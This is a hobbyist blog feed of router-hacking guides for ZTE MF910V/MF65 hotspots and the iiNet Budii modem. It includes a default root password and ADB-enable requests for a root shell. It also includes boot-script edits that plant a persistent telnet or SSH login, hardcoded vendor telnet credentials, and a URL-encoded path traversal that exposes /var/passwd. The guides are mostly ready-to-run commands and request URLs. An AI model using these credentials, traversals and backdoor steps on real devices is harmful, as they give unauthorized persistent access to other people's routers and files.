tag:blogger.com,1999:blog-88190907822401142182024-02-19T12:37:53.183+11:00Franks Electric Dreams Random hacks and crap FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.comBlogger20125tag:blogger.com,1999:blog-8819090782240114218.post-75763633096907786022019-02-19T23:41:00.001+11:002022-09-16T09:52:24.505+10:00ZTE MF910V Root exploit<div style="text-align: left;">
</div>
<div style="text-align: left;">
ZTE MF910/ZTE910B/ZTE MF910V/Telstra MF910v </div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
This guide exists in both linux and windows format <br />
Please follow the instructions as per O/S or untill instructions converge
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 30pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Default credentials:<br />
For ZTE MF910/ZTE910B/ZTE MF910V/Telstra MF910v <br />
root:oelinux123
</div>
<div style="text-align: left;">
Web Interface Password:<br />
password
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Getting Setup:<br />
Download the mode switch html to run locally:<br />
<a class="http" href="http://lopoteam.com/3AY9" title="http://lopoteam.com/3AY9">http://lopoteam.com/3AY9</a>
</div>
<div style="text-align: left;">
Also ensure you have ADB (Android Debug Bridge) installed on your computer:
</div>
<div style="text-align: left;">
ADB:
</div>
<div style="text-align: left;">
Linux:<br />
<a class="https" href="https://dl.google.com/android/repository/platform-tools-latest-linux.zip" title="https://dl.google.com/android/repository/platform-tools-latest-linux.zip">https://dl.google.com/android/repository/platform-tools-latest-linux.zip</a><br />
<a class="http" href="http://lopoteam.com/37Bw" title="http://lopoteam.com/37Bw">http://lopoteam.com/37Bw</a>
</div>
<div style="text-align: left;">
Windows:<br />
<a class="https" href="https://dl.google.com/android/repository/platform-tools-latest-windows.zip" title="https://dl.google.com/android/repository/platform-tools-latest-windows.zip">https://dl.google.com/android/repository/platform-tools-latest-windows.zip</a><br />
<a class="http" href="http://lopoteam.com/37Ac" title="http://lopoteam.com/37Ac">http://lopoteam.com/37Ac</a>
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 150pt; text-align: left;">
Lets Begin
</div>
<div style="padding-left: 120pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
Plug your device into the computer to download drivers.
</div>
<div style="text-align: left;">
Linux:<br />
Open Terminal<br />
cd (*adb-folder*)<br />
adb start-server<br />
adb devices
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Windows:<br />
Open Command Prompt:<br />
chdir (*adb-folder*)<br />
adb start-server<br />
adb devices
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++</div><div style="padding-left: 60pt; text-align: left;"> Starting ADB Listener On Router</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 90pt; text-align: left;">
**<b>Linux & Windows</b>**
</div>
<div style="text-align: left;">
Login to <a class="http" href="http://192.168.0.1/" title="http://192.168.0.1/">http://192.168.0.1/</a> <br />
(see default password)<br />
Now open the Tools.html file in your browser.<br />
Select the checkbox for ADB and press submit,<br />
your device will now flash and adb will be enabled
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|<br />
Controling The Device And Creating Shell
</div>
<div style="padding-left: 120pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 150pt; text-align: left;">
******<b>Linux & Windows</b>**
</div>
<div style="text-align: left;">
Next we start our shell from the command prompt / terminal:
</div>
<div style="text-align: left;">
adb devices
</div>
<div style="text-align: left;">
List of devices attached<br />
PXXXXXXXXD000000 device<br />
adb shell
</div>
<div style="text-align: left;">
You should now have a root shell on the router,<br />
now we can enable ssh and create a random password generator
</div>
<div style="text-align: left;">
# adduser -s /bin/sh -S (Your New User Name)<br />
# passwd (Your New User Name)<br />
# iptables -t filter -I INPUT -p tcp --dport 22 -j ACCEPT<br />
# iptables -t filter -I INPUT -p udp --dport 22 -j ACCEPT
</div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 30pt; text-align: left;">
Gaining Persistant Root Access Even After Reset
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
First Generate a New Random Password Or Use Your Own.<br />
Write This Down Or Make Sure You Can Remember It!
</div>
<div style="text-align: left;">
vi /usr/zte/zte_conf/scripts/firewall_init.sh
</div>
<div style="text-align: left;">
Add a Comments in front of line 92 and 93
</div>
<div style="text-align: left;">
#iptables -t filter -I INPUT -p tcp --dport 22 -j DROP<br />
#iptables -t filter -I INPUT -p udp --dport 22 -j DROP
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Further Down The Script add these commands
</div>
<div style="text-align: left;">
echo "password<br />
password<br />
"|passwd
</div>
<div style="text-align: left;">
Replace the passwords with your password
</div>
<div style="text-align: left;">
now save and close the file.
</div>
<div style="text-align: left;">
(This Will Be Persistant But Will Not Stop Adb From Root Access)<br />
(Change web interface password to deter unauthorised adb access) <br />
(Now The Device Will Start SSH At Boot And Reset)
</div>
<div style="text-align: left;">
Reboot the device.<br />
(This will now disable ADB mode and the device will start normally)
</div>
<div style="text-align: left;">
Now SSH into the Router:
</div>
<div style="text-align: left;">
login:(Your New User Name)
</div>
<div style="text-align: left;">
(Your New User <a class="mailto" href="mailto:Name)[[@192.168.0.1" title="Name)[[@192.168.0.1">Name)[[@192.168.0.1</a>]]'s password:
</div>
<div style="text-align: left;">
You Could Also Login As Root
</div>
<div style="text-align: left;">
This guide exists in both linux and windows format <br />
Please follow the instructions as per O/S or untill instructions converge
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 30pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
<br /><br /><br /><br /></div>
<div style="text-align: left;">
ZTE MF 90
</div>
<div style="text-align: left;">
Web Interface Password:<br />
password
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Getting Setup:<br />
Download the mode switch html to run locally:<br />
<a class="http" href="http://lopoteam.com/3Bkf" title="http://lopoteam.com/3Bkf">http://lopoteam.com/3Bkf</a>
</div>
<div style="text-align: left;">
Also ensure you have ADB (Android Debug Bridge) installed on your computer:
</div>
<div style="text-align: left;">
ADB:
</div>
<div style="text-align: left;">
Linux:<br />
<a class="https" href="https://dl.google.com/android/repository/platform-tools-latest-linux.zip" title="https://dl.google.com/android/repository/platform-tools-latest-linux.zip">https://dl.google.com/android/repository/platform-tools-latest-linux.zip</a><br />
<a class="http" href="http://lopoteam.com/37Bw" title="http://lopoteam.com/37Bw">http://lopoteam.com/37Bw</a>
</div>
<div style="text-align: left;">
Windows:<br />
<a class="https" href="https://dl.google.com/android/repository/platform-tools-latest-windows.zip" title="https://dl.google.com/android/repository/platform-tools-latest-windows.zip">https://dl.google.com/android/repository/platform-tools-latest-windows.zip</a><br />
<a class="http" href="http://lopoteam.com/37Ac" title="http://lopoteam.com/37Ac">http://lopoteam.com/37Ac</a>
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 150pt; text-align: left;">
Lets Begin
</div>
<div style="padding-left: 120pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
Plug your device into the computer to download drivers.
</div>
<div style="text-align: left;">
Linux:<br />
Open Terminal<br />
cd (*adb-folder*)<br />
adb start-server<br />
adb devices
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Windows:<br />
Open Command Prompt:<br />
chdir (*adb-folder*)<br />
adb start-server<br />
adb devices
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 180pt; text-align: left;">
Starting ADB Listener On Router
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 90pt; text-align: left;">
**<b>Linux & Windows</b>**
</div>
<div style="text-align: left;">
Login to <a class="http" href="http://192.168.0.1/" title="http://192.168.0.1/">http://192.168.0.1/</a> <br />
(see default password)<br />
Now open the Tools.html file in your browser.<br />
Select the checkbox for ADB and press submit,<br />
your device will now flash and adb will be enabled
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|<br />
Controling The Device And Creating Shell
</div>
<div style="padding-left: 120pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 150pt; text-align: left;">
******<b>Linux & Windows</b>**
</div>
<div style="text-align: left;">
Next we start our shell from the command prompt / terminal:
</div>
<div style="text-align: left;">
adb devices
</div>
<div style="text-align: left;">
List of devices attached<br />
PXXXXXXXXD000000 device<br />
adb shell
</div>
<div style="text-align: left;">
You should now have a root shell on the router,<br />
now we can enable telnet and create a random password
</div>
<div style="text-align: left;">
# adduser -s /bin/sh -S (Your New User Name)<br />
# passwd (Your New UserPass)<br />
# iptables -t filter -I INPUT -p tcp --dport 22 -j ACCEPT<br />
# iptables -t filter -I INPUT -p udp --dport 22 -j ACCEPT
</div>
<div style="text-align: left;">
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="padding-left: 30pt; text-align: left;">
Gaining Persistant Root Access Even After Reset
</div>
<div style="padding-left: 60pt; text-align: left;">
|+++++++++++++++++++++++++++++++++++++|
</div>
<div style="text-align: left;">
First Generate a New Random Password Or Use Your Own.<br />
Write This Down Or Make Sure You Can Remember It!
</div>
<div style="text-align: left;">
Edit /usr/zte/zte_conf/scripts/firewall_filter_init.sh :
</div>
<div style="text-align: left;">
echo "(Your New Password)<br />
(Your New Password)<br />
"|passwd
</div>
<div style="text-align: left;">
telnetd -F -p 23 &
</div>
<div style="text-align: left;">
echo "firewall init done"<br />
#nat.sh
</div>
<div style="text-align: left;">
Now The Next Script Edit:
</div>
<div style="text-align: left;">
vi <a class="file" href="https://www.blogger.com/null" title="/usr/zte/zte_conf/scripts/firewall_init.sh">/usr/zte/zte_conf/scripts/firewall_init.sh</a> :
</div>
<div style="text-align: left;">
iptables -t filter -I INPUT -p tcp --dport 23 -j ACCEPT<br />
iptables -t filter -I INPUT -p udp --dport 23 -j ACCEPT<br />
iptables -t filter -I OUTPUT -p udp --dport 23 -j ACCEPT<br />
iptables -t filter -I OUTPUT -p tcp --dport 23 -j ACCEPT
</div>
<div style="text-align: left;">
echo "firewall init done"<br />
#nat.sh
</div>
<div style="text-align: left;">
now save and close the file.
</div>
<div style="text-align: left;">
(This Will Be Persistant But Will Not Stop Adb From Root Access)<br />
(Change web interface password to deter unauthorised adb access) <br />
(Now The Device Will Start Telnet At Boot)
</div>
<div style="text-align: left;">
Reboot the device.<br />
(This will now disable ADB mode and the device will start normally)
</div>
<div style="text-align: left;">
Now Telnet into the Router:
</div>
<div style="text-align: left;">
login:(Your New User Name)
</div>
<div style="text-align: left;">
(Your New User <a class="mailto" href="mailto:Name)[[@192.168.0.1" title="Name)[[@192.168.0.1">Name)[[@192.168.0.1</a>]]'s password:
</div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-64025363107851969552019-02-10T22:26:00.002+11:002019-02-19T23:21:13.734+11:00ZTE MF910V Mode Switch / ADB Enable / AT Commands / Debug<h2>
ZTE MF910V Mode Switch / ADB Enable / AT Commands / Debug</h2>
<br />
<br />
<h3>
AT mode :</h3>
/goform/goform_set_cmd_process?goformId=SET_DEVICE_MODE&debug_enable=X<br />
<br />
Change X to either 0 or 1<br />
this enables and disables qualcomm services,<br />
<br />
<br />
<h3>
Debub / Adb : </h3>
/goform/goform_set_cmd_process?goformId=USB_MODE_SWITCH&usb_mode=X<br />
Change X to be the value matching the desired mode.<br />
1-4 is RNDIS<br />
5 is CDC<br />
6 is ADB.<br />
<br />
or<br />
<br />
this page is uploaded to any web dir:<br />
UPDATED(2017)<br />
<br />
Download this file:<br />
<a aria-label="Download Page Link" class="share link" href="http://lopoteam.com/3AY9" id="cpsrc1548863385411" rel="nofollow" style="background-color: white; border: 0px; box-sizing: border-box; color: #298ed0; cursor: pointer; display: block; font-family: arial, helvetica, sans-serif; font-size: 13pt; font-weight: bold; height: 25px; margin: 0px; outline: 0px; overflow: hidden; padding: 4px 0px 0px 4px; text-overflow: ellipsis; white-space: nowrap; width: 460px;" target="_blank">tools.html</a><br />
<br />
<br />
Upload it to any directory and use it to switch thru modes via html<br />
<br />FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-89162626094380370812019-02-10T19:24:00.000+11:002019-02-10T19:24:40.851+11:00ZTE MF910V LFI : HTTPshare exploit<h2>
ZTE MF910V LFI : HTTPshare exploit</h2>
<h3>
Telstra MF910V:</h3>
<div>
passwords are base64(encode)<br />
The Config file has the sd card function turned off in the basic state<br />
<br />
SD_CARD_SUPPORT: true or false<br />
mf910v<br />
<br />
SD_BASE_PATH: /<br />
from mf65<br />
/*** SD 卡根目录<br />
<ul style="list-style-image: none;">
<li><span class="zim-tag" style="color: #ce5c00;">@attribute</span> {String} SD_BASE_PATH</li>
</ul>
*/ SD_BASE_PATH: '/mmc2',<br />
<div style="padding-left: 90pt;">
change to</div>
<div style="padding-left: 120pt;">
'/'</div>
<div style="padding-left: 120pt;">
<br /></div>
<div style="padding-left: 120pt;">
<br /></div>
<br />
menus relating to httpshare are stripped out<br />
(webs)/js/config/menu.js<br />
in this file the following functions are commmented out<br />
#httpshare_guest<br />
#sd (sets the menu item up again)<br />
#sdcard(settings part for sd card menu)<br />
#httpshare(file viewer for sd card menu)<br />
by un commenting these we can enable the sdcard function again<br />
we need to change the pre path in the httpshare.js file<br />
we will change this to '/mmc2'<br />
/**<br />
<div style="padding-left: 30pt;">
* 前置路径,发现有的设备会将sd卡数据显示在web目录<br />
* <span class="zim-tag" style="color: #ce5c00;">@attribute</span> {String} prePath<br />
* <span class="zim-tag" style="color: #ce5c00;">@example</span><br />
* prePath = "/usr/zte/zte_conf/web";<br />
*/<br />
var prePath = "/mmc2";// "/usr/zte/zte_conf/web";</div>
<div style="padding-left: 30pt;">
<br /></div>
<br />
then use the commands<br />
cfg set sd_card_state=1<br />
cfg set sd_card_state=1<br />
mount dev/root /mmc2</div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-53367910239055344302017-07-08T20:55:00.000+10:002019-02-19T23:37:38.741+11:00///ZTE mf65 Mode Switch(Updated)///<h2>
///ZTE mf65 Mode Switch///</h2>
<h2>
</h2>
<h2>
</h2>
this page is uploaded to any web dir:<br />
UPDATED(2017) <br />
<br />
Download this file:<br />
<a aria-label="Download Page Link" class="share link" href="http://lopoteam.com/3Bkf" id="cpsrc1548863385411" style="background-color: white; border: 0px; box-sizing: border-box; color: #298ed0; cursor: pointer; display: block; font-family: arial, helvetica, sans-serif; font-size: 13pt; font-weight: bold; height: 25px; margin: 0px; outline: 0px; overflow: hidden; padding: 4px 0px 0px 4px; text-overflow: ellipsis; white-space: nowrap; width: 460px;" target="_blank">mode.html</a><br />
<br />
<br />
Upload it to any directory and use it to switch thru modes via html<br />
<br />
Modes:<br />
factory_mode">Download Mode(DIAG+AT+MODEM)<br />
debug_mode">Debug Mode(RNDIS+DIAG+AT+MODEM)<br />
work_mode">Work Mode(RNDIS)<br />
<br />
1. After you have selected and applyed the switch, check the page title for status, then refresh!<br />
<br />
To return to default mode Send AT+ZCDRUN=9 Then AT+ZCDRUN=F to COM(X) ZTE NMEA Device<br />
<br />
<br />FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com1tag:blogger.com,1999:blog-8819090782240114218.post-14400881574005010242017-07-08T20:48:00.000+10:002017-07-08T20:48:05.275+10:00///////ZTE MF65 -- Unlocking A Few More features (Fastboot)<div style="text-align: center;">
///////ZTE MF65 -- Unlocking A Few More features (Fastboot)</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
/mf65_efs/Secondary/web/js/config/ufi/mf65/menu.js </div>
<div style="text-align: center;">
or</div>
<div style="text-align: center;">
/js/config/ufi/mf65/menu.js </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
By changing the file that controls the menus</div>
<div style="text-align: center;">
we can enable/disable a few more options like:</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
((#phonebook)) </div>
<div style="text-align: center;">
#group_common </div>
<div style="text-align: center;">
#group_family </div>
<div style="text-align: center;">
#group_friend </div>
<div style="text-align: center;">
#group_colleague </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
((#status)) </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
#STK </div>
<div style="text-align: center;">
#traffic_alert </div>
<div style="text-align: center;">
#USSD</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
((#Wifi_setting)) </div>
<div style="text-align: center;">
#ap_station </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
((#device_setting))</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
#update_management</div>
<div style="text-align: center;">
#dlna_setting</div>
<div style="text-align: center;">
#fastboot</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
((#firewall ))</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
#port_filter </div>
<div style="text-align: center;">
#port_forward</div>
<div style="text-align: center;">
#port_map</div>
<div style="text-align: center;">
#system_security </div>
<div style="text-align: center;">
#dmz</div>
<div style="text-align: center;">
#upnp</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
we simply remove the commenting out and re upload the file and this will enable</div>
<div style="text-align: center;">
any function that has been left out;</div>
<div style="text-align: center;">
use/see previous methods for ways to do this if unsure </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br />[extra note]</div>
<div style="text-align: center;">
this file can also be used to disable the httpshare for guests</div>
<div style="text-align: center;">
this file can be used to either strengthen or weaken a routers structure and presentation to anyone able to access its the websever.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
(((Warning...)))) </div>
<div style="text-align: center;">
please be mindful of the closing brackets on the file</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-10308659480425377792017-07-08T20:24:00.003+10:002019-02-02T03:02:21.884+11:00iiNet Budii(1031) (Telnet Access)(With Username and Password)<div style="text-align: center;">
<b>iiNet Budii(1031) (Telnet Access)</b></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
so telnet was always another open port available to us from the network,</div>
<div style="text-align: center;">
although it never responded to any login attempts even if we 100% knew the password and user was correct;</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
This was solvable by one of two approaches.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
(1)</div>
<div style="text-align: center;">
The easiest by far was to simply grab the consumer release of the firmware,</div>
<div style="text-align: center;">
inside its folders is a compilable c file for telnet (they've named it telnetc)</div>
<div style="text-align: center;">
Budii1016_consumer_release/bcm963xx_4.12L.01_consumer</div>
<div style="text-align: center;">
/userspace/gpl/apps/telnetc </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
this is a pretty basic busybox telnet file</div>
<div style="text-align: center;">
a few modifications have been made over the years</div>
<div style="text-align: center;">
one includes this little function</div>
<div style="text-align: center;">
<br />
telnet_data_set_autheninfo(&g_telnet_data, "iismshamswii", "i20U18r4E3");<br />
addr.s_addr = inet_addr("10.1.1.1");<br />
telnet_data_set_serverinfo(&g_telnet_data, &addr, 23);</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
meaning that iismshamswii will work as the username</div>
<div style="text-align: center;">
with i20U18r4E3 as the password</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
so we have logged in now we use iinet@sh to break the cli and we have full access to the router</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
(2)</div>
<div style="text-align: center;">
searching the strings of the telnetc file on the router obtained by any earlier method will have provided those two pieces of information as they are hard coded into all of the routers using that firmware without that part being patched or otherwise dropping the telnet packets </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
(extra note)</div>
<div style="text-align: center;">
iiNetBoB<br />
^^^can be password changed by admin with a external mips passwd program[usb], but only until restart.<br />
<br /></div>
<div style="text-align: center;">
<br /></div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-77740356683998466192017-05-17T00:32:00.001+10:002022-09-16T09:42:31.883+10:00//////ZTE MF65 -- EFS acess method / partial Fs dump<div style="text-align: center;">
In the last mf65 post</div>
<div style="text-align: center;">
we covered the local file listing method</div>
<div style="text-align: center;">
and briefly touched on the changes to the config file</div>
<div style="text-align: center;">
for constant file listing for the sd card functions</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
i managed to soft brick my device by directory transversal</div>
<div style="text-align: center;">
on the sd card base path</div>
<div style="text-align: center;">
basically the router would try and load the httpshare page,</div>
<div style="text-align: center;">
get to the share path and sd base path,</div>
<div style="text-align: center;">
ultimately just reading /mmc2/../</div>
<div style="text-align: center;">
and it would just freak out and not load</div>
<div style="text-align: center;">
so it sat around for a while.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Now im back and have a solution that,</div>
<div style="text-align: center;">
fixes my problem and gives us access to the internal files</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
we will need a windows machine (xp++)</div>
<div style="text-align: center;">
QPST, the modem drivers and</div>
<div style="text-align: center;">
putty </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
(ZTE WCDMA technologies MSM issue ??)</div>
<div style="text-align: center;">
(if you cannot find the drivers keep looking they are around</div>
<div style="text-align: center;">
try dcunlocker support files(i had to try several drivers before my machine acknowledged them))</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
using :</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
/goform/goform_process?goformId=MODE_SWITCH&switchCmd=FACTORY </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
we get these devices</div>
<div style="text-align: center;">
</div>
<ul style="text-align: center;">
<li>ZTE Diagnostics Interface (COMX) </li>
<li>ZTE NMEA Device (COMY)</li>
<li>ZTE Proprietary USB Modem </li>
</ul>
<br />
<br />
<br />
<div style="text-align: center;">
((at this point if you do something stupid you may loose your router))))</div>
<div style="text-align: center;">
***if you want to resume normal functions simply use****</div>
<div style="text-align: center;">
(((AT+ZCDRUN=9+ZCDRUN=F ) on COMY)))</div>
<br />
<div style="text-align: center;">
Now we load up QPST configuration and it will point at our modem,</div>
<div style="text-align: center;">
if not fix the settings to point it at the correct com port,</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
then start the efs explorer,</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
you will be taken to the primary partion, </div>
<div style="text-align: center;">
in which there is not much of interest,</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
by clicking into the secondary partion </div>
<div style="text-align: center;">
we see the file system we saw with the local file exploit,</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
the files can be copied out by right clicking on the file and selecting to save the file to pc</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
this is also great for any modification</div>
<div style="text-align: center;">
you would like to make to either the webservice or the other files,</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
just ensure you make a back up of the files,</div>
<div style="text-align: center;">
as they cannot be restored.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
you can dump the nvram out with the QPST tools as well.</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
we really havent gained much of a new hold except now we have a way to effectively alter the web file system and we have gained copys of two parts of the memory + 100% copy of the ztemodem.iso and a few other files that where not available for the webserver to load . </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
Stay tuned as we continue to look for roots!! </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-79384022491759062432017-05-16T23:48:00.000+10:002017-05-18T22:55:03.207+10:00iiNet Budii(1031) Local File Listing (USBwebserver)<div style="text-align: center;">
This is a method to list the local files on the router via wftp (USBwebsever) :</div>
<div style="text-align: center;">
Requires login and usb inserted into the aux usbports(fat/nfts)(*1)</div>
<div style="text-align: center;">
Either goto:</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a class="http" href="http://10.1.1.1/usb_wftp_server.html" title="http://10.1.1.1/usb_wftp_server.html">http://10.1.1.1/usb_wftp_server.html</a></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
Or </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a class="http" href="http://10.1.1.1/websrv_cfg.cmd?action=save&wftp_enable=1&wftp_remote=0&port=8000&path=*&partitionindex=1&disk_index=0&disk_name=sdb" title="http://10.1.1.1/websrv_cfg.cmd?action=save&wftp_enable=1&wftp_remote=0&port=8000&path=*&partitionindex=1&disk_index=0&disk_name=sdb">http://10.1.1.1/websrv_cfg.cmd?action=save&wftp_enable=1&wftp_remote=0&port=8000&path=*&partitionindex=1&disk_index=0&disk_name=sdb</a><br />
(you may need to use Ui to turn this on)
</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
To turn on the fileserver,</div>
<div style="text-align: center;">
now point your browser here: </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<a class="http" href="http://10.1.1.1/usb_wftp_tree.cmd?diskname=..%2f..%2f" title="http://10.1.1.1/usb_wftp_tree.cmd?diskname=..%2f..%2f">http://10.1.1.1/usb_wftp_tree.cmd?diskname=..%2f..%2f</a></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
(notice the URLencode because the straight transversal is rejected by the websever not even making its way to the app </div>
<div style="text-align: center;">
but with encoded slashes we beat the checks) </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
and click save </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
now we goto:</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<a href="http://10.1.1.1:8000/">http://10.1.1.1:8000 </a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
And we see our routers internal files.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8DvjrtTWw10tS-8Jiw5X7NIKkmJk3MnE0yH_xmyvKhlweWMzE_2jbdKSNYCNefuHG9C5c6rLgmjG5nJB8jSgN-ZIq_o_D453oywnbqXGpUkFcwgYXLrT_LL4bu2fVkj1_EjGAiRGc-urY/s1600/Screenshot-20170518225333-1304x754.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8DvjrtTWw10tS-8Jiw5X7NIKkmJk3MnE0yH_xmyvKhlweWMzE_2jbdKSNYCNefuHG9C5c6rLgmjG5nJB8jSgN-ZIq_o_D453oywnbqXGpUkFcwgYXLrT_LL4bu2fVkj1_EjGAiRGc-urY/s400/Screenshot-20170518225333-1304x754.png" width="400" /></a></div>
</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
we can wget out a copy of the systems memory with this enabled and scrape/view many of the files including the passwd file in the web browser:</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<a href="http://10.1.1.1:8000/var/passwd"> http://10.1.1.1:8000/var/passwd</a></div>
<br />
<br />
<br />
<br />
fin.<br />
<div style="text-align: center;">
<br /></div>
